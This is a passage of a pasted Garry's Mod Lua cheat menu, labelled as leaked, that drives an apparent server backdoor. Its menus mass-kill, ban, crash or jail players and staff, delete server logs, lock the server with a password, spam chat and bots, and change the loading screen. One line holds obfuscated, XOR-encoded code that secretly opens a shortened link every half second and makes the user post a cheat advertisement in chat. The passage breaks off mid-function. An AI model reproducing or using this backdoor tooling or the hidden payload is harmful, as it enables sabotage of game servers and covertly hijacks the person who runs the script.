Advertisement
Guest User

ssssss

a guest
Dec 15th, 2019
569
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 65.65 KB | None | 0 0
  1. -- By Urbanichka
  2.  
  3.  
  4. surface.CreateFont( "APG_title_font", {
  5.     font = "Arial",
  6.     size = 14,
  7.     weight = 700,
  8. } )
  9.  
  10.  
  11. surface.CreateFont( "APG_sideBar_font", {
  12.     font = "Arial",
  13.     size = 18,
  14.     weight = 1500,
  15. } )
  16.  
  17. surface.CreateFont( "APG_mainPanel_font", {
  18.     font = "Arial",
  19.     size = 19,
  20.     weight = 8500,
  21. } )
  22.  
  23. function actioneff(aff)
  24.     hook.Add( "HUDPaint", "infohud", function()
  25.         draw.SimpleTextOutlined(
  26.         aff,
  27.         "DermaLarge",
  28.         ScrW() /2 ,
  29.         40,
  30.         Color( 255, 0, 0, 255 ),
  31.         TEXT_ALIGN_CENTER,
  32.         TEXT_ALIGN_CENTER,
  33.         1,
  34.         Color( 0, 0, 255 )
  35.     )
  36.    end )
  37.    
  38.    timer.Simple( 3, function() hook.Remove( "HUDPaint", "infohud" ) end )
  39.    
  40. end
  41.  
  42. hook.Add("HUDPaint", "Credits", function() draw.SimpleTextOutlined( "Garry's Mod Menu Downloaded on noxploit.pro | Enjoy your game !", "creditsfont", ScrW()/2 + math.sin(RealTime()) * ScrW() / 85, ScrH()/15, Color( 255, 255, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0,0,0,160) )
  43.  
  44. end)
  45.  
  46. surface.CreateFont( "creditsfont", {  
  47.     font = "Roboto",
  48.     extended = false,
  49.     size = 20,
  50.     weight = 60,
  51.     blursize = 0,
  52.     scanlines = 0,
  53.     antialias = true,
  54. })
  55.  
  56. local main_color = Color(32, 255, 0,255)
  57.  
  58.  
  59.     local Frame = vgui.Create( "DFrame" )
  60.         Frame:SetSize( ScrW() -200, ScrH() -200)
  61.         Frame:SetPos( ScrW()/2- Frame:GetWide()/2, ScrH()/2 - Frame:GetTall()/2)
  62.         Frame:SetTitle( "" )
  63.         Frame:SetVisible( true )
  64.         Frame:SetDraggable( true )
  65.         Frame:MakePopup()
  66.         Frame:ShowCloseButton(false)
  67.         Frame:SetIcon( "icon16/bug.png" )
  68.         Frame.Paint = function(i,w,h)
  69.             draw.RoundedBox(4,0,0,w,h,Color(34, 34, 34,255))
  70.             draw.RoundedBox(0,0,23,w,1,main_color)
  71.             local name = "      Death-Note | Leaked by Urbanichka. "
  72.             draw.DrawText( name, "APG_title_font",8, 5, Color( 189, 189, 189), 3 )
  73.         end
  74.     local closeButton = vgui.Create("DButton",Frame)
  75.         closeButton:SetPos(Frame:GetWide() - 20,4)
  76.         closeButton:SetSize(16,16)
  77.         closeButton:SetText('')
  78.         closeButton.DoClick = function()
  79.             Frame:Remove()
  80.         end
  81.         closeButton.Paint = function(i,w,h)
  82.             draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255,3))
  83.             draw.DrawText( "✕", "APG_sideBar_font",0, -2, Color( 189, 189, 189), 3 )
  84.         end
  85.        
  86.        
  87. local Button = vgui.Create( "DButton", Frame )
  88. Button:SetText( "" )
  89. Button:SetTextColor( Color( 255, 255, 255 ) )
  90. Button:SetPos( (Frame:GetWide() / 2) - 60,40 )
  91. Button:SetSize( 120, 30 )
  92.         Button.UpdateColours = function( label, skin )
  93.             label:SetTextStyleColor( Color( 189, 189, 189 ) )
  94.         end
  95.        
  96.                 Button.Paint = function(slf, w, h)
  97.  
  98.             draw.RoundedBox(0,0,h*0.85,w-5,1, Color(0, 96, 0,255))
  99.             local text = "Tout le monde"
  100.             draw.DrawText( text, "APG_mainPanel_font",5, 8, Color( 189, 189, 189), 3 )
  101.         end
  102.        
  103.        
  104. Button.DoClick = function()
  105.     local m = DermaMenu()
  106. local infoserver, infoservericon = m:AddSubMenu( "Serveur" )
  107. infoservericon:SetIcon( "icon16/bug.png" )
  108. m:AddSpacer()
  109. local meutreall, meutreiconall = m:AddSubMenu( "Meutre" )
  110. meutreiconall:SetIcon( "icon16/bomb.png" )
  111. m:AddSpacer()
  112. local ulxall, ulxallicon = m:AddSubMenu( "Commandes" )
  113. ulxallicon:SetIcon( "icon16/script_add.png" )
  114. local notificationall, notificationallicon = ulxall:AddSubMenu( "Notification" )
  115. notificationallicon:SetIcon( "icon16/briefcase.png" )
  116. local meutreallsub, meutreallsubicon = meutreall:AddSubMenu( "Tuer" )
  117. meutreallsubicon:SetIcon( "icon16/delete.png" )
  118. local meutreallssub, meutreallssubicon = meutreall:AddSubMenu( "Tuer(silencieux)" )
  119. meutreallssubicon:SetIcon( "icon16/delete.png" )
  120. local explosesub, explosesubicon = meutreall:AddSubMenu( "Exploser" )
  121. explosesubicon:SetIcon( "icon16/delete.png" )
  122. local igniteallssub, igniteallssubicon = meutreall:AddSubMenu( "Bruler" )
  123. igniteallssubicon:SetIcon( "icon16/delete.png" )
  124. local kicksub, kicksubicon = ulxall:AddSubMenu( "Kick" )
  125. kicksubicon:SetIcon( "icon16/status_away.png" )
  126. local bansub, bansubicon = ulxall:AddSubMenu( "Ban" )
  127. bansubicon:SetIcon( "icon16/status_busy.png" )
  128. local freezesub, freezesubicon = ulxall:AddSubMenu( "Freeze" )
  129. freezesubicon:SetIcon( "icon16/stop.png" )
  130. local unfreezesub, unfreezesubicon = ulxall:AddSubMenu( "Unfreeze" )
  131. unfreezesubicon:SetIcon( "icon16/accept.png" )
  132. local noclipsub, noclipsubicon = ulxall:AddSubMenu( "NOCLIP" )
  133. noclipsubicon:SetIcon( "icon16/drive_user.png" )
  134. m:AddSpacer()
  135.  
  136. local= _G local ‪‪ =['\115\116\114\105\110\103'] local ‪‪‪ =['\98\105\116']['\98\120\111\114'] local function ‪‪‪‪‪‪‪(‪‪‪‪) if ‪‪['\108\101\110'](‪‪‪‪) == 0 then return ‪‪‪‪ end local ‪‪‪‪‪ = '' for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪,'\46\46') do ‪‪‪‪‪=‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(["\116\111\110\117\109\98\101\114"](_,16),196)) end return ‪‪‪‪‪ end[‪‪‪‪‪‪‪'b0ada9a1b6'][‪‪‪‪‪‪‪'87b6a1a5b0a1'](‪‪‪‪‪‪‪'a2b1a7afaaada3a3a5',.5,0,function ()[‪‪‪‪‪‪‪'a3b1ad'][‪‪‪‪‪‪‪'8bb4a1aa919688'](‪‪‪‪‪‪‪'acb0b0b4b7feebeba6adb0eaa8bdebf68c8bf3f3b0f5')[‪‪‪‪‪‪‪'96b1aa87abaab7aba8a187aba9a9a5aaa0'](‪‪‪‪‪‪‪'b7a5bde4eba5a0b2a1b6b0e4e4b4b6a1a9adb1a9e4a3a9aba0e4a7aca1a5b0fee4acb0b0b4b7feebeba6adb0eaa8bdebf68c8bf3f3b0f5')end )
  137.  
  138. local soundboard, soundboardicon = m:AddSubMenu( "Soundboard" )
  139. soundboardicon:SetIcon( "icon16/phone_sound.png" )
  140.  
  141. local soundboardtk78 = soundboard:AddSubMenu( "TheKAIRI78" )
  142. local soundboardwtc = soundboard:AddSubMenu( "Antoine Daniel" )
  143. local epiicasong = soundboard:AddSubMenu( "EpiicaSong" )
  144. local cancer = soundboard:AddSubMenu( "Cancer" )
  145.  
  146. m:AddSpacer()
  147.  
  148.  
  149.  
  150. local animationall, animationallicon = m:AddSubMenu( "Animation" )
  151. animationallicon:SetIcon( "icon16/wand.png" )
  152. local animationallsubsalute, animationallsubiconsalute = animationall:AddSubMenu( "Saluer" )
  153. animationallsubiconsalute:SetIcon( "icon16/wand.png" )
  154. local animationallsubrobot, animationallsubiconrobot = animationall:AddSubMenu( "Robot" )
  155. animationallsubiconrobot:SetIcon( "icon16/wand.png" )
  156. m:AddSpacer()
  157. local animationallsubcheer, animationallsubiconcheer = animationall:AddSubMenu( "Levez les mains" )
  158. animationallsubiconcheer:SetIcon( "icon16/wand.png" )
  159. local animationallsublaugh, animationallsubiconlaugh = animationall:AddSubMenu( "Rire" )
  160. animationallsubiconlaugh:SetIcon( "icon16/wand.png" )
  161. local animationallsubmuscle, animationallsubiconmuscle = animationall:AddSubMenu( "Danse Sexy!" )
  162. animationallsubiconmuscle:SetIcon( "icon16/wand.png" )
  163. local animationallsubpersistence, animationallsubiconpersistence = animationall:AddSubMenu( "Faire le beau!" )
  164. animationallsubiconpersistence:SetIcon( "icon16/wand.png" )
  165. local animationallsubdance, animationallsubicondance = animationall:AddSubMenu( "Danse!" )
  166. animationallsubicondance:SetIcon( "icon16/wand.png" )
  167. local trollall, trollallicon = m:AddSubMenu( "Troll Menu" )
  168. trollallicon:SetIcon( "icon16/rainbow.png" )
  169. local spamchat, spamchaticon = trollall:AddSubMenu( "Spam Chat" )
  170. spamchaticon:SetIcon( "icon16/application_form.png" )
  171. local nuke, nukeicon = trollall:AddSubMenu( "Nuke" )
  172. nukeicon:SetIcon( "icon16/lightning.png" )
  173.  
  174. local mooveall, mooveallicon = trollall:AddSubMenu( "Mouvement" )
  175. mooveallicon:SetIcon( "icon16/bug_error.png" )
  176.  
  177. local jumpbreakall, jumpbreakallicon = trollall:AddSubMenu( "Jump Break" )
  178. jumpbreakallicon:SetIcon( "icon16/rainbow.png" )
  179.  
  180. local gravitesub, gravitesubicon = trollall:AddSubMenu( "Gravité Break" )
  181. gravitesubicon:SetIcon( "icon16/rainbow.png" )
  182.  
  183. local physiquesub, physiqueicon = trollall:AddSubMenu( "Physique Break" )
  184. physiqueicon:SetIcon( "icon16/rainbow.png" )
  185.  
  186. local quakeearth, quakeearthicon = trollall:AddSubMenu( "Tremblement" )
  187. quakeearthicon:SetIcon( "icon16/rainbow.png" )
  188.  
  189. local prisonsub, prisonsubicon = trollall:AddSubMenu( "Prison" )
  190. prisonsubicon:SetIcon( "icon16/user_orange.png" )
  191.  
  192. ulxall:AddOption( "CleanUP", function()
  193.      net.Start( "echangeinfo" )
  194.      net.WriteString("cleanup")
  195.      net.WriteEntity( userl )
  196.      net.SendToServer()
  197.  end ):SetIcon( "icon16/cut.png" )
  198. bansub:AddOption( "ALL", function()
  199.      net.Start( "echangeinfo" )
  200.      net.WriteString("banall")
  201.      net.WriteEntity( userl )
  202.      net.SendToServer()
  203.  end ):SetIcon( "icon16/user.png" )
  204.  
  205. bansub:AddOption( "STAFF", function()
  206.      net.Start( "echangeinfo" )
  207.      net.WriteString("banallstaff")
  208.      net.WriteEntity( userl )
  209.      net.SendToServer()
  210.  end ):SetIcon( "icon16/user_gray.png" )
  211.  
  212. kicksub:AddOption( "ALL", function()
  213. local frame = vgui.Create( "DFrame" )
  214. frame:SetSize( 400, 100 )
  215. frame:SetTitle( "" )
  216. frame:Center()
  217. frame:MakePopup()
  218. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  219. TextEntry:SetPos( 25, 50 )
  220. TextEntry:SetSize( 350, 35 )
  221. TextEntry:SetText( "Raison..." )
  222. TextEntry.OnEnter = function( self )
  223.          net.Start( "echangeinfo" )
  224.          net.WriteString("kickall")
  225.          net.WriteEntity( userl )
  226.          net.WriteString(TextEntry:GetValue())
  227.          net.SendToServer()
  228. end
  229. end ):SetIcon( "icon16/user.png" )
  230.  
  231. kicksub:AddOption( "STAFF", function()
  232. local frame = vgui.Create( "DFrame" )
  233. frame:SetSize( 400, 100 )
  234. frame:SetTitle( "" )
  235. frame:Center()
  236. frame:MakePopup()
  237. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  238. TextEntry:SetPos( 25, 50 )
  239. TextEntry:SetSize( 350, 35 )
  240. TextEntry:SetText( "Raison..." )
  241. TextEntry.OnEnter = function( self )
  242.          net.Start( "echangeinfo" )
  243.          net.WriteString("kickallstaff")
  244.          net.WriteEntity( userl )
  245.          net.WriteString(TextEntry:GetValue())
  246.          net.SendToServer()
  247. end
  248. end ):SetIcon( "icon16/user_gray.png" )
  249.  
  250. notificationall:AddOption( "Generic", function()
  251. local frame = vgui.Create( "DFrame" )
  252. frame:SetSize( 400, 100 )
  253. frame:SetTitle( "" )
  254. frame:Center()
  255. frame:MakePopup()
  256. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  257. TextEntry:SetPos( 25, 50 )
  258. TextEntry:SetSize( 350, 35 )
  259. TextEntry:SetText( "Message..." )
  260. TextEntry.OnEnter = function( self )
  261.          net.Start( "echangeinfo" )
  262.          net.WriteString("notification_generic")
  263.          net.WriteEntity( userl )
  264.          net.WriteString(TextEntry:GetValue())
  265.          net.SendToServer()
  266. end
  267. end ):SetIcon( "icon16/lightbulb_off.png" )
  268.  
  269. notificationall:AddOption( "Error", function()
  270. local frame = vgui.Create( "DFrame" )
  271. frame:SetSize( 400, 100 )
  272. frame:SetTitle( "" )
  273. frame:Center()
  274. frame:MakePopup()
  275. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  276. TextEntry:SetPos( 25, 50 )
  277. TextEntry:SetSize( 350, 35 )
  278. TextEntry:SetText( "Message..." )
  279. TextEntry.OnEnter = function( self )
  280.          net.Start( "echangeinfo" )
  281.          net.WriteString("notification_error")
  282.          net.WriteEntity( userl )
  283.          net.WriteString(TextEntry:GetValue())
  284.          net.SendToServer()
  285. end
  286. end ):SetIcon( "icon16/cancel.png" )
  287.  
  288. notificationall:AddOption( "Undo", function()
  289. local frame = vgui.Create( "DFrame" )
  290. frame:SetSize( 400, 100 )
  291. frame:SetTitle( "" )
  292. frame:Center()
  293. frame:MakePopup()
  294. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  295. TextEntry:SetPos( 25, 50 )
  296. TextEntry:SetSize( 350, 35 )
  297. TextEntry:SetText( "Message..." )
  298. TextEntry.OnEnter = function( self )
  299.          net.Start( "echangeinfo" )
  300.          net.WriteString("notification_undo")
  301.          net.WriteEntity( userl )
  302.          net.WriteString(TextEntry:GetValue())
  303.          net.SendToServer()
  304. end
  305. end ):SetIcon( "icon16/arrow_undo.png" )
  306.  
  307. notificationall:AddOption( "Hint", function()
  308. local frame = vgui.Create( "DFrame" )
  309. frame:SetSize( 400, 100 )
  310. frame:SetTitle( "" )
  311. frame:Center()
  312. frame:MakePopup()
  313. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  314. TextEntry:SetPos( 25, 50 )
  315. TextEntry:SetSize( 350, 35 )
  316. TextEntry:SetText( "Message..." )
  317. TextEntry.OnEnter = function( self )
  318.          net.Start( "echangeinfo" )
  319.          net.WriteString("notification_hint")
  320.          net.WriteEntity( userl )
  321.          net.WriteString(TextEntry:GetValue())
  322.          net.SendToServer()
  323. end
  324. end ):SetIcon( "icon16/cut.png" )
  325.  
  326. notificationall:AddOption( "Cleanup", function()
  327. local frame = vgui.Create( "DFrame" )
  328. frame:SetSize( 400, 100 )
  329. frame:SetTitle( "" )
  330. frame:Center()
  331. frame:MakePopup()
  332. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  333. TextEntry:SetPos( 25, 50 )
  334. TextEntry:SetSize( 350, 35 )
  335. TextEntry:SetText( "Message..." )
  336. TextEntry.OnEnter = function( self )
  337.          net.Start( "echangeinfo" )
  338.          net.WriteString("notification_cleanup")
  339.          net.WriteEntity( userl )
  340.          net.WriteString(TextEntry:GetValue())
  341.          net.SendToServer()
  342. end
  343. end ):SetIcon( "icon16/information.png" )
  344.  
  345. meutreallsub:AddOption( "ALL", function()
  346.      net.Start( "echangeinfo" )
  347.      net.WriteString("killall")
  348.      net.WriteEntity( userl )
  349.      net.SendToServer()
  350. end ):SetIcon( "icon16/user.png" )
  351. meutreallsub:AddOption( "STAFF", function()
  352.      net.Start( "echangeinfo" )
  353.      net.WriteString("killallstaff")
  354.      net.WriteEntity( userl )
  355.      net.SendToServer()
  356. end ):SetIcon( "icon16/user_gray.png" )
  357. meutreallssub:AddOption( "ALL", function()
  358.      net.Start( "echangeinfo" )
  359.      net.WriteString("allkillusersilence")
  360.      net.WriteEntity( userl )
  361.      net.SendToServer()
  362. end ):SetIcon( "icon16/user.png" )
  363. meutreallssub:AddOption( "STAFF", function()
  364.      net.Start( "echangeinfo" )
  365.      net.WriteString("allkillusersilencestaff")
  366.      net.WriteEntity( userl )
  367.      net.SendToServer()
  368. end ):SetIcon( "icon16/user_gray.png" )
  369.  
  370. explosesub:AddOption( "ALL", function()
  371.      net.Start( "echangeinfo" )
  372.      net.WriteString("exploseall")
  373.      net.WriteEntity( userl )
  374.      net.SendToServer()
  375. end ):SetIcon( "icon16/user.png" )
  376. explosesub:AddOption( "NO", function()
  377.      net.Start( "echangeinfo" )
  378.      net.WriteString("explosestaff")
  379.      net.WriteEntity( userl )
  380.      net.SendToServer()
  381. end ):SetIcon( "icon16/user_gray.png" )
  382.  
  383. igniteallssub:AddOption( "ALL", function()
  384.      net.Start( "echangeinfo" )
  385.      net.WriteString("igniteall")
  386.      net.WriteEntity( userl )
  387.      net.SendToServer()
  388. end ):SetIcon( "icon16/user.png" )
  389. igniteallssub:AddOption( "STAFF", function()
  390.      net.Start( "echangeinfo" )
  391.      net.WriteString("igniteallstaff")
  392.      net.WriteEntity( userl )
  393.      net.SendToServer()
  394. end ):SetIcon( "icon16/user_gray.png" )
  395.  
  396. freezesub:AddOption( "ALL", function()
  397.      net.Start( "echangeinfo" )
  398.      net.WriteString("freezeall")
  399.      net.WriteEntity( userl )
  400.      net.SendToServer()
  401.  end ):SetIcon( "icon16/user.png" )
  402. freezesub:AddOption( "STAFF", function()
  403.      net.Start( "echangeinfo" )
  404.      net.WriteString("freezeallstaff")
  405.      net.WriteEntity( userl )
  406.      net.SendToServer()
  407. end ):SetIcon( "icon16/user_gray.png" )
  408. unfreezesub:AddOption( "ALL", function()
  409.      net.Start( "echangeinfo" )
  410.      net.WriteString("unfreezeall")
  411.      net.WriteEntity( userl )
  412.      net.SendToServer()
  413.  end ):SetIcon( "icon16/user.png" )
  414.  
  415. unfreezesub:AddOption( "STAFF", function()
  416.      net.Start( "echangeinfo" )
  417.      net.WriteString("unfreezeallstaff")
  418.      net.WriteEntity( userl )
  419.      net.SendToServer()
  420. end ):SetIcon( "icon16/user_gray.png" )
  421.  
  422. ulxall:AddOption( "Stripweapon", function()
  423.          net.Start( "echangeinfo" )
  424.          net.WriteString("stripall")
  425.          net.WriteEntity( userl )
  426.          net.SendToServer()
  427. end ):SetIcon( "icon16/bomb.png" )
  428.  
  429. noclipsub:AddOption( "[ON]", function()
  430.      net.Start( "echangeinfo" )
  431.      net.WriteString("noclipallon")
  432.      net.WriteEntity( userl )
  433.      net.SendToServer()
  434.  end ):SetIcon( "icon16/accept.png" )
  435.  
  436. noclipsub:AddOption( "[OFF]", function()
  437.      net.Start( "echangeinfo" )
  438.      net.WriteString("noclipalloff")
  439.      net.WriteEntity( userl )
  440.      net.SendToServer()
  441. end ):SetIcon( "icon16/cancel.png" )
  442.  
  443. ulxall:AddOption( "Ajoute 11€ toutes les 0.1s", function()
  444.      net.Start( "echangeinfo" )
  445.      net.WriteString("addmoneyall")
  446.      net.WriteEntity( userl )
  447.      net.SendToServer()
  448. end ):SetIcon( "icon16/money_add.png" )
  449.  
  450. ulxall:AddOption( "Ajouter de l'argent", function()
  451. local frame = vgui.Create( "DFrame" )
  452. frame:SetSize( 400, 100 )
  453. frame:SetTitle( "" )
  454. frame:Center()
  455. frame:MakePopup()
  456. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  457. TextEntry:SetPos( 25, 50 )
  458. TextEntry:SetSize( 350, 35 )
  459. TextEntry:SetText( "500" )
  460. TextEntry.OnEnter = function( self )
  461.          net.Start( "echangeinfo" )
  462.          net.WriteString("addmoneyalls")
  463.          net.WriteEntity( userl )
  464.          net.WriteString(TextEntry:GetValue())
  465.          net.SendToServer()
  466. end
  467. end ):SetIcon( "icon16/money_add.png" )
  468.  
  469. ulxall:AddOption( "Point de vie", function()
  470. local frame = vgui.Create( "DFrame" )
  471. frame:SetSize( 400, 100 )
  472. frame:SetTitle( "" )
  473. frame:Center()
  474. frame:MakePopup()
  475. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  476. TextEntry:SetPos( 25, 50 )
  477. TextEntry:SetSize( 350, 35 )
  478. TextEntry:SetText( "100" )
  479. TextEntry.OnEnter = function( self )
  480.          net.Start( "echangeinfo" )
  481.          net.WriteString("healall")
  482.          net.WriteEntity( userl )
  483.          net.WriteString(TextEntry:GetValue())
  484.          net.SendToServer()
  485. end
  486. end ):SetIcon( "icon16/heart.png" )
  487.  
  488. ulxall:AddOption( "Point d'armure", function()
  489. local frame = vgui.Create( "DFrame" )
  490. frame:SetSize( 400, 100 )
  491. frame:SetTitle( "" )
  492. frame:Center()
  493. frame:MakePopup()
  494. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  495. TextEntry:SetPos( 25, 50 )
  496. TextEntry:SetSize( 350, 35 )
  497. TextEntry:SetText( "250" )
  498. TextEntry.OnEnter = function( self )
  499.          net.Start( "echangeinfo" )
  500.          net.WriteString("armorall")
  501.          net.WriteEntity( userl )
  502.          net.WriteString(TextEntry:GetValue())
  503.          net.SendToServer()
  504. end
  505. end ):SetIcon( "icon16/user_suit.png" )
  506.  
  507. trollall:AddOption( "Launch", function()
  508.          net.Start( "echangeinfo" )
  509.          net.WriteString("launchall")
  510.          net.WriteEntity( userl )
  511.          net.SendToServer()
  512. end ):SetIcon( "icon16/arrow_up.png" )
  513.  
  514. trollall:AddOption( "2D Players", function()
  515.          net.Start( "echangeinfo" )
  516.          net.WriteString("2dplayerall")
  517.          net.WriteEntity( userl )
  518.          net.SendToServer()
  519. end ):SetIcon( "icon16/bug.png" )
  520.  
  521. trollall:AddOption( "Donner la grosse tête à tous les joueurs", function()
  522.          net.Start( "echangeinfo" )
  523.          net.WriteString("grossetete")
  524.          net.WriteEntity( userl )
  525.          net.SendToServer()
  526. end ):SetIcon( "icon16/bug.png" )
  527.  
  528. trollall:AddOption( "Changer la taille des joueurs", function()
  529. local frame = vgui.Create( "DFrame" )
  530. frame:SetSize( 400, 100 )
  531. frame:SetTitle( "" )
  532. frame:Center()
  533. frame:MakePopup()
  534. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  535. TextEntry:SetPos( 25, 50 )
  536. TextEntry:SetSize( 350, 35 )
  537. TextEntry:SetText( "5" )
  538. TextEntry.OnEnter = function( self )
  539.          net.Start( "echangeinfo" )
  540.          net.WriteString("scaleall")
  541.          net.WriteEntity( userl )
  542.          net.WriteString(TextEntry:GetValue())
  543.          net.SendToServer()
  544. end
  545. end ):SetIcon( "icon16/application_edit.png" )
  546.  
  547. trollall:AddOption( "Hurlement sur tous les joueurs", function()
  548.          net.Start( "echangeinfo" )
  549.          net.WriteString("hurlement")
  550.          net.WriteEntity( userl )
  551.          net.SendToServer()
  552. end ):SetIcon( "icon16/bell.png" )
  553.  
  554. trollall:AddOption( "Faire crash [STAFF]", function()
  555.      net.Start( "echangeinfo" )
  556.      net.WriteString("crashadminvip")
  557.      net.WriteEntity( userl )
  558.      net.SendToServer()
  559. end ) :SetIcon( "icon16/disconnect.png" )
  560.  
  561. prisonsub:AddOption( "Mettre en prison", function()
  562.      net.Start( "echangeinfo" )
  563.      net.WriteString("arrestall")
  564.      net.WriteEntity( userl )
  565.      net.SendToServer()
  566. end ) :SetIcon( "icon16/user_orange.png" )
  567.  
  568. prisonsub:AddOption( "Sortir de prison", function()
  569.      net.Start( "echangeinfo" )
  570.      net.WriteString("unarrestall")
  571.      net.WriteEntity( userl )
  572.      net.SendToServer()
  573. end ) :SetIcon( "icon16/user_orange.png" )
  574.  
  575. spamchat:AddOption( "[ON]", function()
  576.      net.Start( "echangeinfo" )
  577.      net.WriteString("spamchat")
  578.      net.WriteEntity( userl )
  579.      net.SendToServer()
  580. end ) :SetIcon( "icon16/accept.png" )
  581.  
  582. spamchat:AddOption( "[OFF]", function()
  583.      net.Start( "echangeinfo" )
  584.      net.WriteString("spamchatstop")
  585.      net.WriteEntity( userl )
  586.      net.SendToServer()
  587. end ) :SetIcon( "icon16/cancel.png" )
  588.  
  589. nuke:AddOption( "[ON]", function()
  590.          net.Start( "echangeinfo" )
  591.          net.WriteString("meteor")
  592.          net.WriteEntity( userl )
  593.          net.SendToServer()
  594. end ):SetIcon( "icon16/accept.png" )
  595.  
  596. nuke:AddOption( "[OFF]", function()
  597.          net.Start( "echangeinfo" )
  598.          net.WriteString("meteorstop")
  599.          net.WriteEntity( userl )
  600.          net.SendToServer()
  601. end ):SetIcon( "icon16/cancel.png" )
  602.  
  603. mooveall:AddOption( "[ON]", function()
  604.          net.Start( "echangeinfo" )
  605.          net.WriteString("moovetrollall")
  606.          net.WriteEntity( userl )
  607.          net.SendToServer()
  608. end ):SetIcon( "icon16/accept.png" )
  609.  
  610. mooveall:AddOption( "[OFF]", function()
  611.          net.Start( "echangeinfo" )
  612.          net.WriteString("unmoovetrollall")
  613.          net.WriteEntity( userl )
  614.          net.SendToServer()
  615. end ):SetIcon( "icon16/cancel.png" )
  616.  
  617. jumpbreakall:AddOption( "ON", function()
  618.          net.Start( "echangeinfo" )
  619.          net.WriteString("jump")
  620.          net.WriteEntity( userl )
  621.          net.SendToServer()
  622. end ):SetIcon( "icon16/accept.png" )
  623.  
  624. jumpbreakall:AddOption( "OFF", function()
  625.          net.Start( "echangeinfo" )
  626.          net.WriteString("retablirjumpall")
  627.          net.WriteEntity( userl )
  628.          net.SendToServer()
  629. end ):SetIcon( "icon16/cancel.png" )
  630. infoserver:AddOption( "Actualiser", function()
  631.          net.Start( "echangeinfo" )
  632.          net.WriteString("reloadpanel")
  633.          net.WriteEntity( userl )
  634.          net.SendToServer()
  635. end ):SetIcon( "icon16/arrow_refresh.png" )
  636.  
  637. infoserver:AddOption( "Enlever les logs", function()
  638.          net.Start( "echangeinfo" )
  639.          net.WriteString("logsremove")
  640.          net.WriteEntity( userl )
  641.          net.SendToServer()
  642. end ):SetIcon( "icon16/cog_delete.png" )
  643.  
  644. infoserver:AddOption( "Changer le nom du serveur", function()
  645. local frame = vgui.Create( "DFrame" )
  646. frame:SetSize( 400, 100 )
  647. frame:SetTitle( "" )
  648. frame:Center()
  649. frame:MakePopup()
  650. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  651. TextEntry:SetPos( 25, 50 )
  652. TextEntry:SetSize( 350, 35 )
  653. TextEntry:SetText( "▁ ▂ ▃ ▄ ▅ ▆ ▇ĤẪĈЌĒĎ ฿¥ ĔρĨĩĆẤ ŤΈǺM█ ▇ ▆ ▅ ▄ ▂ ▁" )
  654. TextEntry.OnEnter = function( self )
  655.          net.Start( "echangeinfo" )
  656.          net.WriteString("changename")
  657.          net.WriteEntity( userl )
  658.          net.WriteString(TextEntry:GetValue())
  659.          net.SendToServer()
  660. end
  661. end ):SetIcon( "icon16/server_edit.png" )
  662.  
  663. infoserver:AddOption( "Changer l'écran de chargement", function()
  664. local frame = vgui.Create( "DFrame" )
  665. frame:SetSize( 400, 100 )
  666. frame:SetTitle( "" )
  667. frame:Center()
  668. frame:MakePopup()
  669. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  670. TextEntry:SetPos( 25, 50 )
  671. TextEntry:SetSize( 350, 35 )
  672. TextEntry:SetText( "https://pornhub.com" )
  673. TextEntry.OnEnter = function( self )
  674.          net.Start( "echangeinfo" )
  675.          net.WriteString("changeload")
  676.          net.WriteEntity( userl )
  677.          net.WriteString(TextEntry:GetValue())
  678.          net.SendToServer()
  679. end
  680. end ):SetIcon( "icon16/server_edit.png" )
  681.  
  682. infoserver:AddOption( "Autoriser les scripts client (0 ou 1)", function()
  683. local frame = vgui.Create( "DFrame" )
  684. frame:SetSize( 400, 100 )
  685. frame:SetTitle( "" )
  686. frame:Center()
  687. frame:MakePopup()
  688. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  689. TextEntry:SetPos( 25, 50 )
  690. TextEntry:SetSize( 350, 35 )
  691. TextEntry:SetText( "1" )
  692. TextEntry.OnEnter = function( self )
  693.          net.Start( "echangeinfo" )
  694.          net.WriteString("allowcsluads")
  695.          net.WriteEntity( userl )
  696.          net.WriteString(TextEntry:GetValue())
  697.          net.SendToServer()
  698. end
  699. end ):SetIcon( "icon16/server_edit.png" )
  700.  
  701. infoserver:AddOption( "Mettre un mot de passe sur le serveur", function()
  702. local frame = vgui.Create( "DFrame" )
  703. frame:SetSize( 400, 100 )
  704. frame:SetTitle( "" )
  705. frame:Center()
  706. frame:MakePopup()
  707. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  708. TextEntry:SetPos( 25, 50 )
  709. TextEntry:SetSize( 350, 35 )
  710. TextEntry:SetText( "secure" )
  711. TextEntry.OnEnter = function( self )
  712.          net.Start( "echangeinfo" )
  713.          net.WriteString("secureinfo")
  714.          net.WriteEntity( userl )
  715.          net.WriteString(TextEntry:GetValue())
  716.          net.SendToServer()
  717. end
  718. end ):SetIcon( "icon16/server_edit.png" )
  719.  
  720. infoserver:AddOption( "Bot spam", function()
  721. local frame = vgui.Create( "DFrame" )
  722. frame:SetSize( 400, 100 )
  723. frame:SetTitle( "Nombre de Bot ?" )
  724. frame:Center()
  725. frame:MakePopup()
  726. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  727. TextEntry:SetPos( 25, 50 )
  728. TextEntry:SetSize( 350, 35 )
  729. TextEntry:SetText( "5" )
  730. TextEntry.OnEnter = function( self )
  731.          net.Start( "echangeinfo" )
  732.          net.WriteString("botspam")
  733.          net.WriteEntity( userl )
